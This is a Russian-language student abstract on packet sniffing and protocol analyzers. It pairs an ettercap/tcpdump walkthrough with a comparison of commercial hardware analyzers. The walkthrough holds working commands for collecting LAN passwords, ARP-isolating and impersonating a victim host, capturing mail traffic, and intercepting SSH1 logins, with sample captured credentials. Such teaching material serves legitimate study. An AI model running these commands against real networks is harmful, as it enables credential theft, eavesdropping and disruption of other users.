Министерство Высшего и Среднего Специального

Образования Республики Узбекистан
Ташкентский Государственный Технический Университет
         Факультет:  «Компьютерные технологии»
         Кафедра:    «Компьютерные системы и сети»
РЕФЕРАТ
На тему: «Определение подозрительных пакетов, анализ протоколов сети»

Выполнил:	маг. гр. 51М-02ИБ Д. Бобокулов
Принял:	доц. Каримов М.М.

Ташкент-2002-03

Содержание:

1.     Введение.                                                                            2.                 

2.     Программные средства анализа подозрительных                        пакетов на примере     ОС Linux.                                             3.        

3.     Аппаратные средства анализа                                                         пакетов (протоколов).   Анализаторы.                                8.        

4.     Критерии выбора анализатора пакетов.                             11.       

5.     Заключение.                                                                       16.       

6.     Список использованных источников.                                17.       

Введение.

В настоящее время аппаратная архитектура Ethernet завоевала большую часть рынка при создании локальных сетей, хотя существуют и другие аппаратные решения не на IEEE 802.3, такие как FDDI, Token Ring (802.5), ARCNET, WAN, ATM и другие. Относительная недороговизна в сочетании с технической скоростью передачи данных в 10, 100 и 1000 мегабит в секунду способствует ее популярности. Сеть Ethernet работает как магистраль, через которую любой узел может пересылать пакеты на другой узел, подключенный к тому же сегменту сети. Для перенаправления пакетов из одной сети в другую необходимо пользоваться репитером, свитчем или концентратором. Процесс передачи фреймов обеспечивает межсетевой протокол, который не зависит от оборудования и представляет различные сети в одну сеть. Но при использовании этого протокола нет гарантий, что пакет достигнет адресата, но решение этой задачи обеспечивает протокол TCP/IP, занимающийся гарантированной доставкой пакетов. TCP не единственный протокол в стеке протоколов TCP/IP, существует еще протокол UDP, который много быстрее протокола TCP, так как не создает и не закрывает сеанс соединения, а узел с помощью его просто отправляет данные в дейтаграммах другим узлам в сети. Пакет, отправленный в широковещательной сети одним из узлов, принимается всеми находящимися в этом сегменте сети машинами, но только узел назначения, указанный в заголовке пакета, "смотрит" на него и начинает его обработку (относится и к TCP и к UDP протоколам).

Перехватчики сетевых пакетов могут не только использоваться администратором сети для проверки и детального анализа правильности конфигурации сетевого программного обеспечения, но и представляют собой серьезную угрозу, поскольку могут перехватывать и расшифровывать имена и пароли пользователей, конфиденциальную информацию, нарушать работу отдельных компьютеров и сети в целом.

Анализаторы пакетов относятся к классу инструментальных программных средств для мониторинга сетевого трафика и выявления некоторых типов сетевых проблем. По умолчанию сетевой интерфейс видит пакеты, предназначенные только для него. Однако анализаторы устанавливают его в режим приема всех пакетов - promiscuous mode, прослушивают сеть и заставляют сетевой интерфейс принимать все фреймы, вне зависимости от того, кому они адресованы в сети.


Программные средства анализа подозрительных  пакетов на примере     ОС
Linux
.
 Для установки "вручную" сетевого интерфейса в неразборчивый режим необходимо включить флаг PROMISC: ifconfig eth0 promisc; для отключения promiscuous mode: ifconfig eth0 -promisc .

Ярким примером инструментального программного средства служит программа tcpdump, написанная Вэном Якобсоном и поставляющаяся сейчас со многими дистрибутивами. Пример использования tcpdump:
tcpdump -i eth0 -n -vv -w /root/tcpdump.log
где:
-I - сетевой интерфейс;
-n - делаем числовой вывод адресов и номеров портов;
-vv - очень подробный вывод;
-w - запись лога в файл.
Чтобы прочитать перехваченный трафик из лога (выводим не на консоль, а в файл):
tcpdump -r /root/tcpdump.log > /root/tcpdump0.log
Фрагмент работы tcpdump:
14:06:28.250082 B 192.168.5.17.1445 > 255.255.255.255.8167: udp 21
14:07:24.126187 > midian > 192.168.5.23: icmp: echo request
14:07:24.126667 < 192.168.5.23 > midian: icmp: echo reply

Первая строка показывает, что 192.168.5.17 пользуется программой для общения в локальной сети (делает широковещательный запрос, используется порт 8167), вторая и третья указывают, что хост midian проверяет машину с IP-адресом 192.168.5.23 программой ping.

Анализаторы  пакетов, несомненно, полезны для решения администратором сети известных и неизвестных проблем, но существует и обратная сторона медали: неразборчивый режим приема пакетов позволяет злоумышленнику получать весь трафик в сети и фильтровать его на наличие имен, паролей пользователей, незашифрованных писем и т.д. Теперь все только ограничивается фантазией хакера.

Ettercap
Особенности этого сниффера:

• работает на Linux 2.0.x, Linux 2.2.x, Linux 2.4.x, FreeBSD 4.x, OpenBSD 2.[789], NetBSD 1.5.x, Mac OS (darwin 1.3);
• перехват и расшифровка паролей TELNET, SSH1, FTP, POP, LOGIN, ICQ, SMB, MySQL, HTTP, HTTPS, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC;
• возможнось вставки символов в установленное соединение - будет происходить эмуляция команд сервера и ответов клиента (работает только в интерактивном режиме);
• нетребовательность к библиотекам libpcap, libnet, libnids в отличии от других снифферов;
• поддержка плагинов; возможность написания собственных плагинов;
• текстовый и псевдографический (основанный на ncurses) интерфейсы;
• различные виды прослушивания; возможность использования фильтров;
• работа в сети с активными интеллектуальными хабами.

Установка сниффера:
./configure
make
make install
Установка плагинов:
make plug-ins
make plug-ins_install

Некоторые опции сниффера:
-a, -s, -m - различные виды прослушивания;
-N - запускать сниффер без псевдографики;
-z - запуск в спокойном режиме;
-d - не преобразовывать IP-адреса в имена;
-i - сетевой интерфейс;
-l - вывести список хостов в сети;
-C - собирать все имена и пароли пользователей;
-f - определение операционной системы удаленного хоста;
-p - работа с плагинами;
-L - записывать в лог, имеющий формат: год:месяц:день-collected-pass.log

Рассмотрим некоторые виды использования этого сниффера. Перехватываем все имена пользователей и пароли в нашем сегменте сети и записываем в лог:
ettercap -NdzsCLi eth0
После недолгого ожидания получаем необходимое ;)
14:43:45 192.168.5.29:1755 <--> 212.48.140.154:80 www
USER: leshii
PASS: softerra
http://www.nm.ru/gateway_chat.shtml
Определяем операционную систему хоста, например, с IP-адресом 192.168.5.24:
ettercap - Ndzsfi eth0 192.168.5.24
Смотрим установленные у нас плагины и описания к ним:
ettercap - N -p list
Для активации плагина (например, пропингуем какой-нибудь хост):
ettercap - N -p ooze 192.168.5.33
Самый интересным плагином является leech. Он изолирует удаленный хост от сети. Пример работы этого плагина:
Сначала проверим, "жив" ли хост:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
64 bytes from 192.168.5.23: icmp_seq=0 ttl=128 time=0.945 ms
64 bytes from 192.168.5.23: icmp_seq=1 ttl=128 time=0.562 ms
64 bytes from 192.168.5.23: icmp_seq=2 ttl=128 time=0.524 ms
64 bytes from 192.168.5.23: icmp_seq=3 ttl=128 time=0.520 ms

Запускаем плагин (операционная система хоста жертвы - win98se):
andrushock# ettercap -Ndp leech 192.168.5.23
Наблюдаем за процессом работы:
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0
Starting ./ec_leech.so plugin...
Building host list for netmask 255.255.255.0, please wait...
Sending 255 ARP request...
Listening for replies...
Isolating host 192.168.5.23...Press return to stop
Ждем пару минут и смело нажимаем ^C, затем проверяем работу плагина:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
---192.168.5.23 ping statistics---
4 packets transmitted, 0 packet received, 100% packet loss
andrushock#

Сетевой интерфейс на машине жертвы на некоторое время перестает работать, хотя операционная система и запущенные приложения функционируют в том же нормальном режиме. Но этого "некоторого" времени хватает, например, для того, чтобы заполучить себе IP-адрес жертвы:
ifconfig eth0 down
ifconfig eth0 inet 192.168.5.23
ifconfig eth0 up



И набираем команду, чтобы удостовериться о нашем "новом" IP-адресе: ifconfig eth0

Перехват незашифрованных почтовых сообщений. Вид записи: ./ettercap -Nzds <IP-адрес почтового сервера>:<port почтового сервера> <IP- адрес клиента>
Пример перехвата исходящих писем:
./ettercap -Nzds ANY:25 ANY > /root/sniff.smtp
И смотрим через некоторое время, что попалось в наши сети (привожу часть лога):
сat /root/sniff.smtp
Your IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface: eth0
Press 'h' for help...
Sniffing (IP based): ANY:0 <--> ANY:25
18:19:14 192.168.5.23:1030 --> 80.68.244.5:25
18:19:14 80.68.244.5:25 --> 192.168.5.23:1030
Далее идет процесс аутентификации, письмо от кого, адрес реципиента, их валидность и сам текст письма.
To: [email protected].
Subject: test.
Mime-Version: 1.0.
Content-Type: text/plain; charset=us-ascii.
Content-Transfer-Encoding: 7bit.
.
Hello andrushock,.
.
Test for Softerra.
.
-- .
Best regards,.
Noname mailto: ******@pisem.net.
Далее сообщение демона о принятии письма к отправке и завершение почтовым сервером соединения.

Для перехвата входящих в локальную сеть электронных писем используем:
./ettercap -Nzds ANY:110 ANY > /root/sniff.pop3
или
./ettercap -Nzds ANY:143 ANY > /root/sniff.imap4

Пример перехвата паролей во время сессии SSH:
На одной машине 192.168.5.21 стоит ettercap (назовем злоумышленник), на втором 192.168.5.4 sshd (назовем сервер), а на третьем 192.168.5.22 SecureCRT (назовем клиент).
./ettercap -Ndl - выводим список всех ip с МАС-адресами машин в сегменте локальной сети, запоминаем только МАС-адреса сервера и клиента. Запускаем сниффер на прослушивание и ждем когда клиент инициализирует сеанс Secure Shell с сервером и начнется процесс аутентификации. В этом случае машина злоумышленника является "мостом", через который будет проходить и расшифровываться на лету весь проходящий траффик между клиентом и сервером.
Вид записи:
./ettercap -za <IP-адрес сервера> <IP-адрес клиента> <MAC-адрес сервера> <MAC-адрес клиента>
./ettercap -za 192.168.5.4 192.168.5.22 00:50:BF:03:BC:47 00:A0:24:93:61:3D
Привожу "текстовый скриншот"

ettercap 0.5.4
SOURCE: 192.168.5.22 ? Filter: OFF
doppleganger - illithid (ARP Based) - ettercap
DEST: 192.168.5.4 ? Active Dissector: ON

??? hosts in this LAN (192.168.5.21 : 255.255.255.0)
1) 192.168.5.22:1252 ?? 192.168.5.4:22 | silent | SSH decrypt

Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0 Link: not tested
USER: testuser
PASS: softerra

В левом нижнем углу лицезреем уже расшифрованные имя пользователя и его пароль. Примечание: сетевой интерфейс действительно ed0, так как программа тестировалась в операционных системах Linux и FreeBSD.

Постоянно выходят новые версии Ettercap, в которых исправляются ошибки (например, только несколько версий назад исправили "глюк", когда после работы сетевой интерфейс, на котором был запущен этот сниффер падал), добавляются новые возможности и переносы на другие операционные системы, в отличие от программ описанных ниже, работа над которыми уже давно не ведется, хотя в настоящее время эти анализаторы протоколов являются самыми популярными.

sniffit Возможности этого сниффера:

• работает на LINUX, SunOS/Solaris, Irix, FreeBSD, BSDi, DEC/OSF, NetBSD;
• перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL;
• использование конфигурационных файлов для создания фильтров;
• имеет текстовый и псевдографический (основанный на ncurses) интерфейсы.

dsniff Примечание: эту версию сниффера я не смог поставить на Red Hat Linux 7.0, поэтому пришлось качать более новую, но beta, где как раз исправлена ошибка компоновки для дистрибутивов Red Hat Linux 6,7.

Возможности этого сниффера:

работает на OpenBSD (i386), Redhat Linux (i386), Solaris (sparc), FreeBSD, Debian Linux, Slackware Linux, AIX, HP-UX;

• перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase, Microsoft SQL;
• также в этот пакет входит набор "утилит" для перехвата сообщений AOL Instant Messenger, ICQ 2000, IRC, Yahoo Messenger chat, прослушивания ssh траффика, флуда локальной сети случайными MAC-адресами, ограничения пропускной способности соединения, обрыва заданного TCP-соединения и др.;
• не имеет псевдографического интерфейса.

Критерии, по которым следует выбирать анализатор протоколов

Любой сетевой администратор, который однажды столкнулся с задачей трансформации сети, скажет, что новые технологии привносят не меньше новых проблем, нежели решают. Анализатор протоколов позволяет выявлять и устранять проблемы существующей сети, а также упростить процесс перехода к новой технологии. Благодаря анализатору можно не только оперативно устранять проблемы по мере их возникновения, но и предупреждать их появление.

Анализаторы протоколов - это "горячий" продукт, который, естественно, достаточно широко представлен на рынке телекоммуникаций. Кроме того, это довольно дорогое устройство. Как выбрать наиболее подходящий? Необходим системный подход. Выделяют ряд критериев, по которым оценивают анализаторы протоколов:

• Возможность декодирования сетевых протоколов и поддержки сменных интерфейсов.
• Качество интерфейса программного обеспечения.
• Наличие многоканальности.
• Возможность интеграции с PC.
• Размер и вес.
• Соотношение цены и предоставляемых услуг.

Рассмотрим представленные на рынке телекоммуникаций анализаторы протоколов и оценим их с точки зрения этих критериев. Проведенные автором исследования рынка показали, что наибольшее распространение на российском рынке анализаторов получили модели Domino и DA-30 фирмы Wandel&Golterman, J2300A фирмы Hewlett-Packard, Fireberd 300 и Fireberd 500 фирмы TTC (Telecommunication Technic Corporation), Sniffer компании Network General и серия продуктов компании RADCOM(RC-88WL, RC-100WL).

Поддерживаемые протоколы и физические интерфейсы

Поддерживаемые протоколы и возможность физического подсоединения к различным физическим интерфейсам определяют сферу и широту применения анализтора.

Физические интерфейсы

В число традиционно поддерживаемых физических интерфейсов входят V.35, RS-232/V.24, RS-449, RS-530, X.21/V.11, которые обычно включаются в базовый комплект поставки анализатора. Интерфейсы Е1, Т1, Ethernet, Token Ring являются дополнительными и обычно не входят в базовый комплект. Благодаря модульной структуре конструкции анализатора, всегда остается возможность его оснащения требуемыми физическими интерфейсами. Отсутствие поддержки каких-либо из этих интерфейсов или неоправданно высокая стоимость, может оказаться слабой стороной анализатора. Модель Domino фирмы Wandel&Golterman не поддерживает интерфейс Т1, что для российских условий не является существенным, однако, отсутствие поддержки интерфейса Е1 моделями Fireberd 300, Fireberd 500 фирмы TTC может стать серьезным ограничением для их использования.

Протоколы

В международной классификации сетевые протоколы подразделяются на классы, или серии, которые содержат протоколы с общими признаками. Анализ сетевых протоколов - центральная задача анализатора, поэтому естественным требованием системного администратора является поддержка максимального количества протоколов. На практике же оказывается, что возможность работы ряда анализаторов с частью протоколов из класса не всегда подразумевает поддержку целого класса.

Наибольшей полнотой возможностей работы с сетевыми протоколами отличаются модели J2300А компании Hewlett-Packard, RC-88WL и RC-100WL фирмы RADCOM. На сегодняшний день они поддерживают декодирование около 140 сетевых протоколов, что является практически полным списком используемых протоколов. Например, протокол Apollo Domain поддерживает только модель J2300A Hewlett Packard, а протокол RND - только указанные модели фирмы RADCOM.

Список протоколов, поддерживаемых другими анализаторами, не так обширен. Модели Domino, DA-30 компании Wandel&Golterman не поддерживают такие протоколы серии TCP/IP, как TELNET, FTP, TFTP, и отдельные протоколы других групп.

Интерфейс программного обеспечения

Почему интерфейс программного обеспечения является таким важным фактором? Чем "дружественнее" оболочка программного обеспечения, тем эффективнее работа администратора, кроме того, графический оконный интерфейс способствует быстрому освоению программного обеспечения и позволяет адекватно воспринимать выдаваемую анализатором информацию. В результате широкого распространения среды MS-Windows графический оконный интерфейс стал некоторым стандартом для компьютерных приложений. Однако каждая фирма-производитель анализаторов протоколов использует свой собственный подход к организации программного интерфейса.

Компания RADCOM изначально ориентировалась на графический оконный интерфейс (выход первых моделей анализаторов в 1991г. совпал с моментом признания MS-Windows). Естественно, что с устранением системных ошибок в среде MS-Windows устранялись ошибки и в программном обеспечении анализатора. Сейчас программное обеспечение RADCOM стало высоконадежным и зрелым продуктом. Для анализаторов Domino и DA-30 фирмы Wandel&Golterman графический оконный интерфейс является достаточно новым (используется в них, начиная с июня 1995 г.) и не всегда удобен для работы. Анализаторы протоколов Sniffer компании Network General и J2300A компании Hewlett-Packard предлагают два различных типа программного обеспечения : графический оконный интерфейс - для работы с локальными сетями, интерфейс под операционную среду MS-DOS - для работы с распределенными сетями. Последний тип ПО никак не может считаться передовым, поскольку усложняет работу оператора и накладывает дополнительные ограничения на свое использование.

Многоканальность

Наличие или отсутствие функции одновременной работы с несколькими каналами очень часто является определяющим при классификации анализатора. Как известно, в классе протокольных анализаторов выделяют подкласс с более богатыми функциональными и исследовательскими возможностями (Research and Development, или R&D Analyzers). В качественных моделях анализаторов поддержка работы с несколькими каналами обычно подразумевает наличие дополнительной функции имитации. Эта функция в совокупности с многоканальностью позволяет использовать анализатор одновременно в качестве генератора проверочных последовательностей и тестирующего оборудования. Следует отметить, что далеко не все анализаторы, представленные на рынке ( а их более десятка! ), поддерживают многоканальность.

Анализаторы компаний RADCOM и Wandel&Golterman в полной мере поддерживают эту функцию. Например, RADCOM предлагает очень практичное решение : наличие поддержки одновременной работы с двумя физическими каналами в совокупности с принципом модульности физических интерфейсов позволяют получить практически любую требуемую конфигурацию. Кроме наиболее часто используемой конфигурации - интерфейс локальной сети плюс интерфейс распределенной - можно использовать интерфейсы двух локальных или двух распределенных сетей.

Модель Fireberd 300 фирмы TTC позволяет одновременно работать c каналами распределенных и локальных сетей, но не более чем с одним видом в определенный промежуток времени. Этот анализатор не может одновременно тестировать два различных сегмента локальной сети или два канала связи распределенной сети. Сетевые администраторы лишаются очень важной и естественной возможности - анализировать трафик смежных сегментов сети, а при необходимости - генерировать проверочные последовательности на одном сегменте сети и проверять их на соседнем средствами одного устройства. Модели Sniffer компании Network General и J2300A компании Hewlett-Packard не поддерживают одновременную работу с несколькими каналами. На момент написания статьи компания Hewlett-Packard объявила, что поддержка функции многоканальности должна быть реализована ею в ближайшее время. Однако стоит учитывать тот факт, что не всегда новые продукты отвечают требованиям, исходя из которых они создавались, и может пройти некоторое время, прежде чем будут устранены их недостатки и проведены доработки.

Интеграция с персональным компьютером

Составной частью любого анализатора протоколов является персональный компьютер (класс тестеров физического уровня выходит за рамки рассмотрения данной статьи). Известны два принципиальных подхода к организации взаимодействия между анализатором протоколов и ПК. Первый состоит в интеграции анализатора и компьютера на базе единого устройства, второй, более современный, - в их совместном использовании, как независимых составляющих. В последнем случае удается строго разделить функции, выполняемые каждым устройством. Такой подход позволяет осуществлять независимую модернизацию составляющих и является особенно актуальным при существующем развитии компьютерных технологий.

Анализаторы могут быть аппаратно реализованы как внутренняя плата для персонального компьютера и как отдельное устройство. Крупный недостаток анализаторов, реализованных в виде внутренней платы, может проявиться при желании переставить его в ПК с другой шиной. Для анализаторов Sniffer даже существуют подразделения на Type I, Type II, Type III, которые предназначены для шин ISA, EISA и т.д. Еще одним ограничением, которое связано с таким подходом, является требование двух свободных слотов, что особенно критично для компьютеров типа Notebook. Более распространенным подходом является реализация анализатора протоколов в виде отдельного устройства. Из этого направления, в свою очередь, можно выделить случаи интеграции функций анализатора и персонального компьютера. В анализаторе DA-30 фирмы Wandel&Golterman используется встроенный PC 386/16Mhz, а в модели Fireberd 500 фирмы ТТС - PC 486/33Mhz. При существующем развитии компьютерных технологий такой подход может стать серьезным недостатком, поскольку практически исключает возможность увеличения мощности или обновления компьютера.

Наиболее жизнеспособным и рентабельным считается подход, обеспечивающий выполнение специальных операций (захвата, декодирования, эмуляции) с помощью средств независимого устройства, а отображение и обработку результатов сетевого тестирования - средствами отдельного персонального компьютера. Компания RADCOM использует архитектурный подход, в котором функции анализатора протоколов и компьютера строго разделены. Компьютер соединяется с анализатором через параллельный порт и служит для управления и отображения результатов сетевого тестирования. При таком подходе снимаются какие-либо ограничения на используемый компьютер (единственное накладываемое ограничение - требование поддержки MS-Windows).

Портативность

Размер и вес - это те параметры, которые не являются существенными для "тяжелого" сетевого оборудования, устанавливаемого стационарно, но, наоборот, важны при использовании протокольного анализатора. Проблема может возникнуть в любом сегменте сети, и чем компактнее и легче анализатор, тем удобнее он будет в эксплуатации. Использование параллельной RISC-архитектуры и процессора Intel 960i позволило компании RADCOM добиться высокой производительности при портативности моделей по размеру и весу. При размере 21,6х27,8х2,5 см (сопоставимо с размерами книги формата А4 объемом 100 страниц) анализатор весит всего 1,5 кг. По данному параметру этот анализатор сопоставим только с моделью Domino, минимальный вес которой составляет 1,3 кг для одноканальной и 2,6 кг для двухканальной модификации. Sniffer сложно охарактеризовать по этому параметру, так как его весовые характеристики полностью зависят от используемого с ним компьютера. Другие анализаторы протоколов обычно в полтора-два раза больше и весят около 8 кг.

Соотношение цены и предоставляемых услуг

Этот критерий является определяющим при выборе пратически любого оборудования. Однако было бы правильнее рассматривать соотношение цены и требуемых функций. Такой подход к выбору анализаторов протоколов является более оправданным, поскольку позволяет платить деньги только за жизненно необходимые функции, имея возможность их расширения по мере возникновения потребностей. Большинство рассматриваемых моделей находятся в одних ценовых рамках, поэтому при выборе анализатора следует обращать внимание прежде всего на схему ценообразования.

Наиболее оправданным является подход минимального базового комплекта аппаратного и программного обеспечения, который может быть дополнен требуемым и физическими интерфейсами и пакетами дешифровки или имитации протоколов. Подводными камнями в этом случае станут технические особенности каждого анализатора. Остановимся на одном показательном примере. Модели Fireberd 500 для работы с локальными сетями требуются разные физические интерфейсы для Token Ring и Ethernet. Таким образом, чтобы получить возможность анализа любой комбинации сегментов (Token Ring /Ethernet, Token Ring/Token Ring или Ethernet/Ethernet), вместо двух требуется четыре физических интерфейса анализатора.

Перспективы дальнейшего использования

Каждый из представленных на рынке телекоммуникаций анализаторов протоколов имеет свои преимущества. Анализаторы Fireberd 300 и 500 поддерживают стандарт RMON; J2300A и Sniffer имеют встроенную экспертную систему; продукты компании RADCOM, а также анализаторы Domino, DA-30 могут независимо работать с каналами локальных и распределенных сетей. К недостаткам анализаторов следует отнести отсутствие поддержки того или иного протокола, что весьма существенно для частного случая, но может быть исправлено сравнительно просто - обновлением программного обеспечения. Исправление недостатков, связанных с аппаратной базой анализатора, требует замены или доработки самого устройства. Поэтому при выборе анализатора протоколов всегда следует обращать внимание на современность его архитектуры, а также его расширяемость и возможности применения к развивающимся перспективным технологиям.


ЗАКЛЮЧЕНИЕ

    Для обеспечения защищенности сети, недостаточно только установление аппаратных и программных средств и считать что вы защитились от всего. С каждым днем разрабатываются новые аппаратные и программные средства. Технологии и программы стареют на глазах.  Тем более если в вашей сети установлены  WWW, FTP,
POP,
SMTP  сервера которые работают с реальными ip  адресами и видны с «мира» при трассировке или при отправке  «пингов» задача защищенности опять усложняется.

Самым ответственным звеном в обеспечении защиты сети являются администраторы сети или как сейчас часто употребляют администратор по безопасности. Администратор  должен всегда следить за событиями в сети, смотреть журналы событий, подключений, ошибок а также  следить за трафиком. Самыми распространенными и высоко защищенными ОС считаются  Unix/Linux системы. А на этих системах приходиться делать все в ручную. Тут нет кнопки на которую можно нажать, нет панели управления где можно все настроить, только команды и пакеты(RPM).

Облегчают эти кропотливые работы администраторов повышением степени защищенности и удобностью пользования устройства называемые сетевыми  анализаторами. Современные анализаторы протоколов WAN/LAN/ATM позволяют обнаружить ошибки в конфигурации маршрутизаторов и мостов; установить тип трафика, пересылаемого по глобальной сети; определить используемый диапазон скоростей, оптимизировать соотношение между пропускной способностью и количеством каналов; локализовать источник неправильного трафика; выполнить тестирование последовательных интерфейсов и полное тестирование АТМ; осуществить полный мониторинг и декодирование основных протоколов по любому каналу; анализировать статистику в реальном времени, включая анализ трафика локальных сетей через глобальные сети.




Список источников:

1.           
http://i2r.rusfund.ru/static/452/out_15653.shtml (Библиотека
I2
R).
2.           
http://www.osp.ru/lan/1999/12/008_print.htm (Игорь Иванцов)
3.           
Журнал "LAN", #12, 1999 год // Издательство "Открытые Системы"
4.           
http://www.opennet.ru
5.           
Леонтьев Б.К.  «Крэкинг без секретов». М: «Компьютерная литература», 2001 г.